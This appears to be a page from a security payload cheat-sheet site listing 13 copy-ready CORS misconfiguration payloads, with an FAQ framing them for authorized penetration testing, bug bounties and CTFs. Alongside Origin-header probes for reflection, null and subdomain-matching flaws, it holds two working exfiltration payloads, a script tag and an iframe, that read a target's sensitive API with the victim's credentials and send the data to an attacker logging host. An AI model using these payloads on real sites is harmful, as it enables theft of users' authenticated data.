$loading...
CORS misconfiguration exploitation payloads for origin reflection, null origin, and wildcard subdomain attacks. (13 payloads)
Origin: https://evil.com → check if Access-Control-Allow-Origin echoes itOrigin: null → check if null origin is allowedOrigin: https://trusted.com.evil.com → subdomain suffix matchOrigin: https://eviltrusted.com → prefix matchCheck if Access-Control-Allow-Credentials: true with reflected origin<script>fetch("https://TARGET/api/sensitive",{credentials:"include"}).then(r=>r.text()).then(d=>fetch("https://ATTACKER/log?d="+btoa(d)))</script><iframe sandbox="allow-scripts" srcdoc="<script>fetch('https://TARGET/api/sensitive',{credentials:'include'}).then(r=>r.text()).then(d=>fetch('https://ATTACKER/log?d='+btoa(d)))</script>"></iframe>Host PoC on subdomain of trusted domain if wildcard CORS configuredAccess-Control-Allow-Origin: *Access-Control-Allow-Origin: * + Allow-Credentials: trueAccess-Control-Allow-Origin: <reflected> + Allow-Credentials: trueAccess-Control-Allow-Origin: null + Allow-Credentials: trueNo ACAO header → not vulnerable to CORS attacksLevel up your security testing
Install the CLI
npx payload-playgroundExplore All Tools
Encoding, hashing, JWT & more
Browse Cheat Sheets
Quick-reference payload guides
It's a quick-reference collection of 13 CORS payloads for testing CORS Misconfiguration vulnerabilities during authorized penetration testing, bug bounties, and CTFs. Every payload is copy-ready and grouped by attack context.
Copy any payload straight into your authorized test, or open the CORS Misconfiguration generator to build customized CORS variants with encoding and WAF-bypass options. Only test systems you have explicit permission to assess.
Yes — this cheat sheet and all CORS payloads are completely free, with no account required. Everything runs in your browser.